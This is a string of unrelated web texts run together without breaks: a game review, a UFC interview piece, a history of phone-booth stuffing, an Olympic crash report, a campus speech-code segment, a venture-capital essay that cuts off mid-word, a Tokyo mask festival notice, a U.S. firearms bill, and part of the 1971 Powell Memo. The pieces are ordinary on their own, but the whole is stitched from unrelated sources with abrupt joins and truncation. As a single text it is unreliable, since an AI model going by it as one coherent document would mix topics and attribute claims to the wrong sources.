The level of your character is dictated by his three stats; HP, Strength, and Magic. In addition to nodes on the Crystarium, what you have equipped will have a resounding effect on your proficiency in battle. Only weapons and accessories are made available, but a somewhat shallow and sometimes complicated item modification and leveling system lets you improve your items with certain biological and mechanical components. Serious thought is required when upgrading items, seeing as you’ll never have the necessary components to max out all of your equipment, and an investment in the Official Game Guide is recommended to prevent needless trial & error.
The graphics, music, and voice acting are all excellent (the latter to a lesser degree). Load times are essentially non-existent on the PlayStation 3 version and the game runs beautifully, considering that no install is required. The character models and environments are gorgeous and almost indistinguishable from the pre-rendered cutscenes and Masashi Hamauzu’s score is a fantastic blend of orchestral and electronic tracks. The battle theme is particularly noteworthy as it will stick in your head like barnacles to the hull of a ship.
Final Fantasy XIII does for this generation of gaming what Final Fantasy X did to the last. While it might seem streamlined to a fault at first, players who take the time to settle in to the game’s mechanics will be rewarded. It sets a new standard for JRPG’s and fans of the series owe it to themselves to play it.The Mystic Mac is 100% when it comes to his predictions thus far, so if he does take Siver’s head clean off within 2 minutes this Sunday then who’s to say he won’t stomp Jose Aldo in front of 90,000 people in Dublin and then go on to become the VP of the UFC? Conor says he’s different than “these people” because he possesses a curiosity of movement. He says he’s a whitebelt when it comes to movement, but everyone else in the UFC hasn’t even taken their first class.
This Irish kid is taking shit-talking to a new level, and manages to put on an entertaining interview even in the middle of cutting weight when the hosts aren’t giving him a lot to work with.
“I have given my prediction and my predictions are always correct. It has nothing to do with cockiness or anything… I am simply assessing my opponent.”
Page 1 of 1:In early 1959, twenty five students attempted something nobody had ever tried before. The South African students of Durban tried to see if all twenty five people could fit into a phone booth. They succeeded and submitted their achievement to the Guinness Book of World Records. Soon, others heard about the bizarre stunt and attempts at phone booth stuffing (or cramming) began all over the world.
The phone booth stuffing fad travelled first to England where it was known as the “telephone booth squash”. In the UK, they managed to cram nineteen students into a single phone booth.
In the spring of 1959, the phone booth stuffing craze took off in California and slowly spread eastward during the summer of that same year. At UCLA, seventeen men squeezed into a seven foot high phone booth. Shortly after, eighteen men crammed into a phone booth at St. Mary’s University in Moraga, California. MIT students managed to stuff nineteen students into a booth. The bizarre fad was featured in newspapers and newscasts throughout the country while the general public scratched their heads in amusement.
At Modesto Junior College the phone booth stuffing record set by the South African students of Durban was smashed. Modesto students managed to fit thirty four students into a phone booth. Shortly thereafter, the record was smashed again after a Canadian school stuffed forty into a booth. Eyebrows raised and an investigation was launched to see if they cheated.
After the investigation, the record was thrown out when as suspected, it was discovered that an extra large phone booth had been used and it had been turned on its side to make it easier to stack people into the booth. As a result, official rules were created that specified the phone booth had to be a standard sized booth and had to remain upright. In addition, it was ruled that a person only counted if at least half of their body was inside the booth. In England, the rules were expanded and it was required that an actual phone call was placed or received from inside the stuffed phone booth.
The fad continued to gain steam with students skipping classes to plan their phone booth stuffing event. Some phone booth stuffers dieted beforehand and some worked on various stacking techniques (such as the “crosshatch” stacking method that was used to set the St. Mary’s College record).
As quickly as the fad took off, it disappeared, ending in the summer of 1959. The South African record of twenty five people stuffed into a booth has never been broken.RIO DE JANEIRO -- Dutch cyclist Annemiek van Vleuten suffered three small fractures to her spine and will remain hospitalized in intensive care after crashing Sunday during the women's Olympic road race.
Van Vleuten was leading on the fast, slippery descent of Vista Chinesa when she appeared to lock up her brakes on the final corner. She tumbled onto the road and her bike went flying, and she remained on the edge of the pavement as the rest of the field swept past.
Teammate Anna van der Breggen went on to win the gold medal.
The Dutch team said van Vleuten was conscious when she was loaded into an ambulance, and Chef de Mission Maurits Hendriks and team doctors said she was stable and speaking Sunday night.
It was not known when she would be released.
"It was horrendous crash," road race silver medalist Emma Johansson of Sweden said. "The peloton is so small and we all know each other very well. I just hope she's OK."
The road course of the Rio de Janeiro Olympics caused havoc to the men's field on Saturday, too.
Giro d' Italia winner Vincenzo Nibali and Colombian climber Sergio Henao were leading on the same final descent when they crashed. Geraint Thomas of Britain, Richie Porte of Australia and Nelson Oliviera of Portugal were involved in three other hard wrecks.
Nibali's coach, Davide Cassani, said that the Italian broke his collarbone in the fall. Porte broke his scapula, taking one of the time-trial favorites out of Wednesday's race.
The International Cycling Union defended the difficulty of the Olympic road course on which Annemiek van Vleuten fell, pointing to a test event and the numerous training opportunities that gave riders a chance to prepare for its twists and turns. Bryn Lennon/Getty Images
"It's a difficult descent because you can go really fast but you also have to corner," van der Breggen said. "After the men's race, I think we were all warned we needed to take care of the descent, and we did. Of course, if you're riding in front, maybe you take too much risk."
The International Cycling Union defended the difficulty of the course, pointing to a test event and the numerous training opportunities that gave riders a chance to prepare for its twists and turns.
"Yesterday, I spoke with Vincenzo and he told me the descent was very technical," said Italian rider Elisa Longo Borghini, who took bronze on Sunday. "I took care to be safe to avoid crashes. I had a very hard crash three years ago, so I know what that means."Politically correct professors at Washington State University are reportedly planning to give students bad grades if they use "oppressive and hateful language" like "illegal alien," "male" and "female."
Campus Reform news editor Sterling Beard explained on "Your World" that Professor Selena Lester Breikss, in the syllabus for her "Women and Popular Culture" course, also banned the term "illegal immigrant."
Professor Rebecca Fowler’s said that students in her "Introduction to Comparative Ethnic Studies" course will see their grades suffer if they use the term "illegal alien."
White students in Professor John Streamas’ "Introduction to Multicultural Literature" class, are expected to "defer" to non-white students, among other community guidelines, if they want to do well in the course.
"The problem is they also expect students to engage with controversial material," Beard told Stuart Varney. "But how can you engage with controversial material if you're disallowed from using useful terms like'male' or 'female' or 'illegal immigrant?'"
Washington State University issued a statement, saying, "We are working with these faculty members to clarify, and in some cases modify, course policies to ensure that students’ free speech rights are recognized and protected. No student will have points docked merely as a result of using terms that may be deemed offensive to some."
"That's a retreat if I saw one," Varney remarked. "Those courses are not designed for free speech and debate. They're designed to control students' opinions."
Watch the "Your World" clip above.
College Course Teaches 9/11 from Terrorists' Perspective
School District Bans All Flags, Including Old GloryVenture Capital and Start-up Companies
Technology, Politics and Capital Markets
Computer science professor and science fiction writer Vernor Vinge has written about what he refers to a technological singularity where technological acceleration is moving so rapidly that it moves in entirely unexpected directions. This is based on Vinge's observation that technology accelerates the development of technology. The design of high performance processor chips with millions of logic gates would not be possible without networks of cheap high performance computer systems to run the design, simulation and layout software. These high performance processors allow still more powerful computer systems to be designed.
What engineers and computer scientists sometimes forget is that technological evolution does not spring from information and ideas alone. Technological progress is built on a foundation of political and financial systems. These have taken hundreds of years to evolve. Social and financial systems reflect accepted thought by a broad group of people. The evolution and understanding of social and financial ideas is much slower than thinking in science and engineering.
For example, high quality scientific research depends on the free flow of information. The rise of totalitarian states has always stifled both political and scientific ideas. Even in the United States a long, and successful, fight has been waged to make cryptography research and engineering publicly available. This has enabled a variety of technologies, including secure financial transactions across computer networks.
Technology consumes capital as well as ideas and information. Liquid, transparent capital markets are critical for the development of technology. Every piece of technology that we use has moved from concept to reality because of capital expenditure. Except for technology developed by large companies like IBM, Sony and Nokia every piece of computer and networking related technology that we use exists because of the strong capital markets in the United States. These markets have provided the venture capital and, later, equity market funding, for technology companies like Intel, Sun Microsystems, and the chip design software companies Synopsys and Cadence.
The critical part capital plays in the development of technology also reflects the balance of power in the computer industry. Most start-up companies are controlled by the board members that represent venture capital. The can, and do, fire the start-up founders.
The idea that capital has most of the power is not something that engineers like much. In some cases the venture capital board members are MBAs who have not accomplished as much as the company founders. The start-up founders have the insight and the hard work to found the company, yet it is controlled by shallow capitalists. Engineers tend to discount the power and importance of capital.
Venture Capital
Commercial venture capital, where a wealthy individual provided capital for an enterprise has probably existed since the middle ages (e.g., 1400s) in industries like the British manufacture of wool cloth.
The first high risk, high reward commercial enterprise was maritime trade and piracy. In the Renaissance era maritime trade in spices, tea and coffee produced huge profits. But there were huge risks as well. Ships could be lost to weather, navigation error or piracy. Groups of wealthy merchants and investors formed syndicates that would lease a ship (if they did not already own ships), hire the Captain and finance the cargo. Fortunes were made or lost as a result of a trading voyage.
Huge profits and risks were associated with piracy as well, especially when gold started flowing from the new world to Spain and Portugal. The political and religious conflict between Spain and England provided legitimacy for British pirates. The huge profits realized from successful raids attracted venture capital, which purchased and provisioned ships in return for a share of any Spanish gold captured. Venture backed pirates included Sir Francis Drake, who also had the political backing of Elizabeth I.
Early venture capital also laid the foundation for equity markets. Ventures like British East India Company raised capital through "subscription":
In recognition of the national importance that attached to its activities and of their long-term, high-risk nature which must involve considerable overheads -- shipping, factories -- it was accepted that the Company, and the Company alone, must itself conduct all business. From this it followed that raising capital must also be on a corporate basis. And thus, as the directors put it, "the trade of the Indias being so far remote from hence [it] cannot be traded but as a joint and united stock." Theoretically this opened the Company's membership to any who were willing to subscribe and indeed, initially, subscription was the commonest avenue of induction into the Company. The Honorable Company: A History of the English East India Company, John Keay, Macmillian, 1991
Wealth and energy have always been directly related. Humans and animals powered the world until the end of eighteenth century, when the steam engine produced the first industrial revolution in human history. The explosion of technology produced vast wealth. Deep mining of gold, coal and diamonds was made possible by steam driven air and water pumps. Blast furnaces driven by steam engines allowed steel production on a level that was never before possible. Industries fed by the power of the steam engine had an appetite for capital like the steam engine had for coal. Capital markets evolved along with the new technology.
The steam engine also introduced the era of the inventor, when a technological innovation could produce wealth. Inventors had dreams and, they hoped, a profitable innovation. The problem was funding. In the nineteenth century and the first half of the twentieth century venture capital came from three sources:
Wealthy individuals Banks Existing enterprises
These three sources of funding are all conservative and tend to provide funding for proven ventures (e.g., mining and manufacturing). For example, in the 1930s and 1940s none of these sources would provide funding for Chester Carlson, the inventor of Xerography. His initial funding was provided by the Battelle Memorial Institute, which is a research institute originally established to fund innovation in metallurgy.
Modern venture funds did not start to appear until the 1960s. One of the first was Davis and Rock, founded by Arthur Rock, who was a lead investor in Intel. Ironically, Rock was also instrumental in arranging funding for Fairchild Semiconductor, which spun off Intel, National Semiconductor and Advanced Micro Devices.
The huge returns from successful venture capital funding encouraged the formation of new venture funding groups. The wealth created in the computer industry was also plowed back into new companies. Eugene Kleiner, one of the founders of Fairchild Semiconductor, later became a founding partner of Kleiner Perkins, one of the pioneering venture firms in Silicon Valley. In a bit of historical irony, Robert Noyce, one of the founders of Intel, provided funding for Intel's arch competitor, AMD.
Venture capital investment has allowed people who became wealthy in the computer industry to not only increase their wealth but to remain a part of the fast moving industry. Paul Allen, who founded Microsoft along with Bill Gates, invests in start-up companies through his Vulcan Ventures. Anne Winblad, who made a small fortune through the sale of her software company, founded Hummer Winblad, a venture capital firm that invests in software companies.
Venture capital investing is no long limited to Silicon Valley insiders. Venrock Associates, founded by the Rockefeller family, has invested in a number of technology companies, including Intel and Apple. Many pension funds and University endowments invest a portion of their holding in venture capital. For example, Harvard University invested $1 million in MasPar Computer Corp.
Constant Revolution
Technological innovation produces constant revolution. Large pools of venture capital mean that ideas can be transformed into products more rapidly. But it also means that existing companies that are not fast moving will be left behind and ultimately destroyed. For engineers this means that you have a chance at becoming wealthy through stock options or unemployed when your employer goes extinct.
Large technology companies like IBM and AT&T at one time offered their employees stability and lifetime employment. At the start of the 1980s both of these companies appeared unassailable. IBM set the standards that the rest of the computer industry followed. The computer industry was referred to as IBM and the BUNCH, where BUNCH stood for Burroughs, Univac, NCR, CDC and Honeywell. By the end of the decade this had changed. IBM shed tends of thousands of employees through layoffs or forced early retirement. The company that set industry standards was now viewed as a "mainframe dinosaur". The companies that formed the "BUNCH" were either gone or shadows of what they had been.
One of the companies that rose while IBM declined was Digital Equipment Corp. (DEC), which at its zenith was the second largest computer company in the United States. In the early 1980s The DEC VAX computer system provided computing power at a fraction of the cost of IBM systems. DEC started selling PDP 11 and later VAX systems to scientists and engineers. But with the V |
by mask lovers for mask lovers”, where mask enthusiasts can come together, put their best “face” on, and shop for original masks and mask-related gear from local sellers and artists.
Last year a number of guests were invited to speak or perform at the event, including mask-wearing idol group Kamen Joshi.
Just the weekend after Valentine’s Day, the festival should be a promising place to find out more about masks and mask-making in Japan, or buy something to hide your face in shame with if your V-Day confession doesn’t as well as planned, or for any poor shmucks out there who forget to surprise their partner with something special.
Event Information: Date: February 20, 2016 Place: Kawasakishi Sangyoshinko-kaikan Exibition Hall, 7-8 min. walk from JR Kawasaki or Keikyu Kawasaki Station Cost: Free for elementary-aged students or younger, 1,000 yen for junior high school students or older Website: Tokyomaskfestival.com
Source: Tokyomaskfestival.com
Read more stories from RocketNews24. -- Why do Japanese people wear surgical masks? It’s not always for health reasons -- “Dogs out! Luck In!” These cosplaying pooches are the cutest Setsubun “oni” you’ll ever see -- It looks so real! Attack on Titan face packs included in beauty magazine VOCE
© Japan Today[Congressional Bills 112th Congress] [From the U.S. Government Publishing Office] [H.R. 227 Introduced in House (IH)] 112th CONGRESS 1st Session H. R. 227 To prevent children's access to firearms. _______________________________________________________________________ IN THE HOUSE OF REPRESENTATIVES January 7, 2011 Ms. Jackson Lee of Texas introduced the following bill; which was referred to the Committee on the Judiciary _______________________________________________________________________ A BILL To prevent children's access to firearms. Be it enacted by the Senate and House of Representatives of the United States of America in Congress assembled, SECTION 1. SHORT TITLE. This Act may be cited as the ``Child Gun Safety and Gun Access Prevention Act of 2011''. SEC. 2. INCREASING YOUTH GUN SAFETY BY RAISING THE AGE OF HANDGUN ELIGIBILITY AND PROHIBITING YOUTH FROM POSSESSING SEMIAUTOMATIC ASSAULT WEAPONS. Section 922(x) of title 18, United States Code, is amended-- (1) in paragraph (1)-- (A) by striking ``juvenile'' and inserting ``person who is less than 21 years of age''; (B) by striking ``or'' at the end of subparagraph (A); (C) by striking the period at the end of subparagraph (B) and inserting a semicolon; and (D) by adding at the end the following: ``(C) a semiautomatic assault weapon; or ``(D) a large capacity ammunition feeding device.''; (2) in paragraph (2)-- (A) by striking ``a juvenile'' and inserting ``less than 21 years of age''; (B) by striking ``or'' at the end of subparagraph (A); (C) by striking the period at the end of subparagraph (B) and inserting a semicolon; and (D) by inserting at the end the following: ``(C) a semiautomatic assault weapon; or ``(D) a large capacity ammunition feeding device.''; (3) in paragraph (3)(A), by inserting ``temporary'' before ``possession''; (4) in paragraph (3)(B), by striking ``juvenile'' and inserting ``person who is less than 21 years of age''; (5) in paragraph (3)(C), by striking ``juvenile; or'' and inserting ``person who is less than 21 years of age;''; (6) by striking subparagraph (D) of paragraph (3) and inserting the following: ``(D) the possession of a handgun or ammunition by a person who is less than 21 years of age taken in defense of that person or other persons against an intruder into the residence of that person or a residence in which that person is an invited guest; or''; (7) by adding at the end of paragraph (3) the following: ``(E) a temporary transfer of a handgun or ammunition to a person who is at least 18 years of age and less than 21 years of age, or the temporary use or possession of a handgun or ammunition by a person who is at least 18 years of age and less than 21 years of age, if the handgun and ammunition are possessed and used by the person-- ``(i) in the course of employment, in the course of ranching or farming related to activities at the residence of the person (or on property used for ranching or farming at which the person, with the permission of the property owner or lessee, is performing activities related to the operation of the farm or ranch), target practice, hunting, or a course of instruction in the safe and lawful use of a handgun; and ``(ii) in accordance with State and local law.''; and (8) in paragraph (4), by striking ``juvenile'' each place it appears and inserting ``person who is less than 21 years of age''. SEC. 3. ENHANCED PENALTY FOR YOUTH POSSESSION OF HANDGUNS AND SEMIAUTOMATIC ASSAULT WEAPONS AND FOR THE TRANSFER OF SUCH WEAPONS TO YOUTH. Section 924(a)(6) of title 18, United States Code, is amended to read as follows: ``(6)(A) A juvenile who violates section 922(x) shall be fined under this title, imprisoned not more than one year, or both, and for a second or subsequent violation, or for a first violation committed after an adjudication of delinquency or after a State or Federal conviction for an act that, if committed by an adult, would be a serious violent felony (as defined in section 3559(c) of this title), shall be fined under this title, imprisoned not more than 5 years, or both. ``(B) A person other than a juvenile who knowingly violates section 922(x)-- ``(i) shall be fined under this title, imprisoned not more than five years, or both; and ``(ii) if the person sold, delivered, or otherwise transferred a handgun, ammunition, semiautomatic assault weapon, or large capacity ammunition feeding device to a person who is less than 21 years of age knowing or having reasonable cause to know that such person intended to carry or otherwise possess or discharge or otherwise use the handgun, ammunition, semiautomatic assault weapon, or large capacity ammunition feeding device in the commission of a crime of violence, shall be fined under this title, imprisoned for not more than 10 years, or both.''. SEC. 4. GUN STORAGE AND SAFETY DEVICES FOR ALL FIREARMS. (a) Secure Gun Storage or Safety Devices by Federal Firearms Licensees.--Section 922(z) of title 18, United States Code, is amended to read as follows: ``(z) It shall be unlawful for any licensed importer, licensed manufacturer, or licensed dealer to sell, transfer, or deliver any firearm to any person (other than a licensed importer, licensed manufacturer, or licensed dealer) unless the transferee is provided with a secure gun storage or safety device.''. (b) Penalties.--Section 924(p) of such title is amended to read as follows: ``(p) The Attorney General may, after notice and opportunity for hearing, suspend or revoke any license issued under this chapter or may subject the licensee to a civil penalty of not more than $10,000 if the holder of such license has knowingly violated section 922(z). The actions of the Attorney General under this subsection may be reviewed only as provided in section 923(f).''. (c) Effective Date.--The amendments made by this section shall be effective 180 days after the date of the enactment of this Act. SEC. 5. RESPONSIBILITY OF ADULTS FOR DEATH AND INJURY CAUSED BY CHILD ACCESS TO FIREARMS. Section 922 of title 18, United States Code, is amended by adding at the end the following: ``(aa)(1) In this subsection, the term `child' means an individual who has not attained the age of 18 years. ``(2) Except as provided in paragraph (3), any person who-- ``(A) keeps a loaded firearm, or an unloaded firearm and ammunition for the firearm, any one of which has been shipped or transported in interstate or foreign commerce, within any premises that is under the custody or control of that person; ``(B) knows, or recklessly disregards the risk, that a child is capable of gaining access to the firearm; and ``(C)(i) knows, or recklessly disregards the risk, that a child will use the firearm to cause death or serious bodily injury (as defined in section 1365 of this title) to the child or any other person; or ``(ii) knows, or recklessly disregards the risk, that possession of the firearm by the child is unlawful under Federal or State law, if the child uses the firearm to cause death or serious bodily injury to the child or any other person, shall be imprisoned not more than 3 years, fined under this title, or both. ``(3) Paragraph (2) shall not apply if-- ``(A) at the time the child obtained access, the firearm was secured with a secure gun storage or safety device; ``(B) the person is a peace officer, a member of the Armed Forces, or a member of the National Guard, and the child obtains the firearm during, or incidental to, the performance of the official duties of the person in that capacity; ``(C) the child uses the firearm in a lawful act of self- defense or defense of 1 or more other persons; or ``(D) the person has no reasonable expectation, based on objective facts and circumstances, that a child is likely to be present on the premises on which the firearm is kept.''. SEC. 6. REQUIREMENT THAT CHILD BE ACCOMPANIED BY AN ADULT DURING A GUN SHOW. (a) Prohibitions.--Section 922 of title 18, United States Code, is further amended by adding at the end the following: ``(bb)(1) The parent or legal guardian of a child shall ensure that, while the child is attending a gun show, the child is accompanied by an adult. ``(2) It shall be unlawful for a person to conduct a gun show to which there is admitted a child who is not accompanied by an adult. ``(3) In this subsection: ``(A) The term `child' means an individual who has not attained 18 years of age. ``(B) The term `adult' means an individual who has attained 18 years of age.''. (b) Penalties.--Section 924(a) of such title is amended by adding at the end the following: ``(8) Whoever violates section 922(bb) in a State shall be punished in accordance with the laws of the State that apply to persons convicted of child abandonment.''. SEC. 7. GRANTS FOR GUN SAFETY EDUCATION PROGRAMS. (a) Program Authority.--The Attorney General is authorized to provide grants to units of local government to enable law enforcement agencies to develop and sponsor gun safety classes for parents and their children. (b) Application.-- (1) In general.--Any unit of local government that desires to receive a grant award under this section shall submit an application to the Attorney General at such time, in such manner and containing such information as the Attorney General may reasonably require. (2) Contents.--Each application referred to in paragraph (1) shall include an assurance that-- (A) funds received under this section shall be used only to provide funds to law enforcement agencies to provide gun safety classes; and (B) gun safety classes will be offered at times convenient to parents, including evenings and weekends. (c) Regulations.--The Attorney General shall issue any regulations necessary to carry out this section. SEC. 8. EDUCATION: NATIONWIDE FIREARMS SAFETY PROGRAMS. It is the sense of Congress that-- (1) each school district should provide or participate in a firearms safety program for students in grades kindergarten through 12 and should consult with a certified firearms instructor before establishing the curriculum for the program; and (2) participation by students in a firearms safety program should not be mandatory if the district receives written notice from a parent of the student to exempt the student from the program. <all>The Powell Memo was first published August 23, 1971
Introduction
In 1971, Lewis Powell, then a corporate lawyer and member of the boards of 11 corporations, wrote a memo to his friend Eugene Sydnor, Jr., the Director of the U.S. Chamber of Commerce. The memorandum was dated August 23, 1971, two months prior to Powell’s nomination by President Nixon to the U.S. Supreme Court.
The Powell Memo did not become available to the public until long after his confirmation to the Court. It was leaked to Jack Anderson, a liberal syndicated columnist, who stirred interest in the document when he cited it as reason to doubt Powell’s legal objectivity. Anderson cautioned that Powell “might use his position on the Supreme Court to put his ideas into practice…in behalf of business interests.”
Though Powell’s memo was not the sole influence, the Chamber and corporate activists took his advice to heart and began building a powerful array of institutions designed to shift public attitudes and beliefs over the course of years and decades. The memo influenced or inspired the creation of the Heritage Foundation, the Manhattan Institute, the Cato Institute, Citizens for a Sound Economy, Accuracy in Academe, and other powerful organizations. Their long-term focus began paying off handsomely in the 1980s, in coordination with the Reagan Administration’s “hands-off business” philosophy.
Most notable about these institutions was their focus on education, shifting values, and movement-building — a focus we share, though often with sharply contrasting goals.* (See our endnote for more on this.)
So did Powell’s political views influence his judicial decisions? The evidence is mixed. Powell did embrace expansion of corporate privilege and wrote the majority opinion in First National Bank of Boston v. Bellotti, a 1978 decision that effectively invented a First Amendment “right” for corporations to influence ballot questions. On social issues, he was a moderate, whose votes often surprised his backers.
Confidential Memorandum: Attack of American Free Enterprise System
DATE: August 23, 1971
TO: Mr. Eugene B. Sydnor, Jr., Chairman, Education Committee, U.S. Chamber of Commerce
FROM: Lewis F. Powell, Jr.
This memorandum is submitted at your request as a basis for the discussion on August 24 with Mr. Booth (executive vice president) and others at the U.S. Chamber of Commerce. The purpose is to identify the problem, and suggest possible avenues of action for further consideration.
Image courtesy of DonkeyHotey / Flickr
Dimensions of the Attack
No thoughtful person can question that the American economic system is under broad attack. This varies in scope, intensity, in the techniques employed, and in the level of visibility.
There always have been some who opposed the American system, and preferred socialism or some form of statism (communism or fascism). Also, there always have been critics of the system, whose criticism has been wholesome and constructive so long as the objective was to improve rather than to subvert or destroy.
But what now concerns us is quite new in the history of America. We are not dealing with sporadic or isolated attacks from a relatively few extremists or even from the minority socialist cadre. Rather, the assault on the enterprise system is broadly based and consistently pursued. It is gaining momentum and converts.
Sources of the Attack
The sources are varied and diffused. They include, not unexpectedly, the Communists, New Leftists and other revolutionaries who would destroy the entire system, both political and economic. These extremists of the left are far more numerous, better financed, and increasingly are more welcomed and encouraged by other elements of society, than ever before in our history. But they remain a small minority, and are not yet the principal cause for concern.
The most disquieting voices joining the chorus of criticism come from perfectly respectable elements of society: from the college campus, the pulpit, the media, the intellectual and literary journals, the arts and sciences, and from politicians. In most of these groups the movement against the system is participated in only by minorities. Yet, these often are the most articulate, the most vocal, the most prolific in their writing and speaking.
Moreover, much of the media-for varying motives and in varying degrees-either voluntarily accords unique publicity to these “attackers,” or at least allows them to exploit the media for their purposes. This is especially true of television, which now plays such a predominant role in shaping the thinking, attitudes and emotions of our people.
One of the bewildering paradoxes of our time is the extent to which the enterprise system tolerates, if not participates in, its own destruction.
The campuses from which much of the criticism emanates are supported by (i) tax funds generated largely from American business, and (ii) contributions from capital funds controlled or generated by American business. The boards of trustees of our universities overwhelmingly are composed of men and women who are leaders in the system.
Most of the media, including the national TV systems, are owned and theoretically controlled by corporations which depend upon profits, and the enterprise system to survive.
Tone of the Attack
This memorandum is not the place to document in detail the tone, character, or intensity of the attack. The following quotations will suffice to give one a general idea:
William Kunstler, warmly welcomed on campuses and listed in a recent student poll as the “American lawyer most admired,” incites audiences as follows:
“You must learn to fight in the streets, to revolt, to shoot guns. We will learn to do all of the things that property owners fear.”2 The New Leftists who heed Kunstler’s advice increasingly are beginning to act — not just against military recruiting offices and manufacturers of munitions, but against a variety of businesses: “Since February, 1970, branches (of Bank of America) have been attacked 39 times, 22 times with explosive devices and 17 times with fire bombs or by arsonists.”3 Although New Leftist spokesmen are succeeding in radicalizing thousands of the young, the greater cause for concern is the hostility of respectable liberals and social reformers. It is the sum total of their views and influence which could indeed fatally weaken or destroy the system.
A chilling description of what is being taught on many of our campuses was written by Stewart Alsop:
“Yale, like every other major college, is graduating scores of bright young men who are practitioners of ‘the politics of despair.’ These young men despise the American political and economic system... (their) minds seem to be wholly closed. They live, not by rational discussion, but by mindless slogans.”4 A recent poll of students on 12 representative campuses reported that: “Almost half the students favored socialization of basic U.S. industries.”5
A visiting professor from England at Rockford College gave a series of lectures entitled “The Ideological War Against Western Society,” in which he documents the extent to which members of the intellectual community are waging ideological warfare against the enterprise system and the values of western society. In a foreword to these lectures, famed Dr. Milton Friedman of Chicago warned: “It (is) crystal clear that the foundations of our free society are under wide-ranging and powerful attack — not by Communist or any other conspiracy but by misguided individuals parroting one another and unwittingly serving ends they would never intentionally promote.”6
Perhaps the single most effective antagonist of American business is Ralph Nader, who — thanks largely to the media — has become a legend in his own time and an idol of millions of Americans. A recent article in Fortune speaks of Nader as follows:
“The passion that rules in him — and he is a passionate man — is aimed at smashing utterly the target of his hatred, which is corporate power. He thinks, and says quite bluntly, that a great many corporate executives belong in prison — for defrauding the consumer with shoddy merchandise, poisoning the food supply with chemical additives, and willfully manufacturing unsafe products that will maim or kill the buyer. He emphasizes that he is not talking just about ‘fly-by-night hucksters’ but the top management of blue chip business.”7
A frontal assault was made on our government, our system of justice, and the free enterprise system by Yale Professor Charles Reich in his widely publicized book: “The Greening of America,” published last winter.
The foregoing references illustrate the broad, shotgun attack on the system itself. There are countless examples of rifle shots which undermine confidence and confuse the public. Favorite current targets are proposals for tax incentives through changes in depreciation rates and investment credits. These are usually described in the media as “tax breaks,” “loop holes” or “tax benefits” for the benefit of business. As viewed by a columnist in the Post, such tax measures would benefit “only the rich, the owners of big companies.”8
It is dismaying that many politicians make the same argument that tax measures of this kind benefit only “business,” without benefit to “the poor.” The fact that this is either political demagoguery or economic illiteracy is of slight comfort. This setting of the “rich” against the “poor,” of business against the people, is the cheapest and most dangerous kind of politics.
The Apathy and Default of Business
What has been the response of business to this massive assault upon its fundamental economics, upon its philosophy, upon its right to continue to manage its own affairs, and indeed upon its integrity?
The painfully sad truth is that business, including the boards of directors’ and the top executives of corporations great and small and business organizations at all levels, often have responded — if at all — by appeasement, ineptitude and ignoring the problem. There are, of course, many exceptions to this sweeping generalization. But the net effect of such response as has been made is scarcely visible.
In all fairness, it must be recognized that businessmen have not been trained or equipped to conduct guerrilla warfare with those who propagandize against the system, seeking insidiously and constantly to sabotage it. The traditional role of business executives has been to manage, to produce, to sell, to create jobs, to make profits, to improve the standard of living, to be community leaders, to serve on charitable and educational boards, and generally to be good citizens. They have performed these tasks very well indeed.
But they have shown little stomach for hard-nose contest with their critics, and little skill in effective intellectual and philosophical debate.
A column recently carried by the Wall Street Journal was entitled: “Memo to GM: Why Not Fight Back?”9 Although addressed to GM by name, the article was a warning to all American business. Columnist St. John said:
“General Motors, like American business in general, is ‘plainly in trouble’ because intellectual bromides have been substituted for a sound intellectual exposition of its point of view.” Mr. St. John then commented on the tendency of business leaders to compromise with and appease critics. He cited the concessions which Nader wins from management, and spoke of “the fallacious view many businessmen take toward their critics.” He drew a parallel to the mistaken tactics of many college administrators: “College administrators learned too late that such appeasement serves to destroy free speech, academic freedom and genuine scholarship. One campus radical demand was conceded by university heads only to be followed by a fresh crop which soon escalated to what amounted to a demand for outright surrender.”
One need not agree entirely with Mr. St. John’s analysis. But most observers of the American scene will agree that the essence of his message is sound. American business “plainly in trouble”; the response to the wide range of critics has been ineffective, and has included appeasement; the time has come — indeed, it is long overdue — for the wisdom, ingenuity and resources of American business to be marshalled against those who would destroy it.
Responsibility of Business Executives
What specifically should be done? The first essential — a prerequisite to any effective action — is for businessmen to confront this problem as a primary responsibility of corporate management.
The overriding first need is for businessmen to recognize that the ultimate issue may be survival — survival of what we call the free enterprise system, and all that this means for the strength and prosperity of America and the freedom of our people.
The day is long past when the chief executive officer of a major corporation discharges his responsibility by maintaining a satisfactory growth of profits, with due regard to the corporation’s public and social responsibilities. If our system is to survive, top management must be equally concerned with protecting and preserving the system itself. This involves far more than an increased emphasis on “public relations” or “governmental affairs” — two areas in which corporations long have invested substantial sums.
A significant first step by individual corporations could well be the designation of an executive vice president (ranking with other executive VP’s) whose responsibility is to counter-on the broadest front-the attack on the enterprise system. The public relations department could be one of the foundations assigned to this executive, but his responsibilities should encompass some of the types of activities referred to subsequently in this memorandum. His budget and staff should be adequate to the task.
Possible Role of the Chamber of Commerce
But independent and uncoordinated activity by individual corporations, as important as this is, will not be sufficient. Strength lies in organization, in careful long-range planning and implementation, in consistency of action over an indefinite period of years, in the scale of financing available only through joint effort, and in the political power available only through united action and national organizations.
Moreover, there is the quite understandable reluctance on the part of any one corporation to get too far out in front and to make itself too visible a target.
The role of the National Chamber of Commerce is therefore vital. Other national organizations (especially those of various industrial and commercial groups) should join in the effort, but no other organizations appear to be as well situated as the Chamber. It enjoys a strategic position, with a fine reputation and a broad base of support. Also — and this is of immeasurable merit — there are hundreds of local Chambers of Commerce which can play a vital supportive role.
It hardly need be said that before embarking upon any program, the Chamber should study and analyze possible courses of action and activities, weighing risks against probable effectiveness and feasibility of each. Considerations of cost, the assurance of financial and other support from members, adequacy of staffing and similar problems will all require the most thoughtful consideration.
The Campus
The assault on the enterprise system was not mounted in a few months. It has gradually evolved over the past two decades, barely perceptible in its origins and benefiting (sic) from a gradualism that provoked little awareness much less any real reaction.
Although origins, sources and causes are complex and interrelated, and obviously difficult to identify without careful qualification, there is reason to believe that the campus is the single most dynamic source. The social science faculties usually include members who are unsympathetic to the enterprise system. They may range from a Herbert Marcuse, Marxist faculty member at the University of California at San Diego, and convinced socialists, to the ambivalent liberal critic who finds more to condemn than to commend. Such faculty members need not be in a majority. They are often personally attractive and magnetic; they are stimulating teachers, and their controversy attracts student following; they are prolific writers and lecturers; they author many of the textbooks, and they exert enormous influence — far out of proportion to their numbers — on their colleagues and in the academic world.
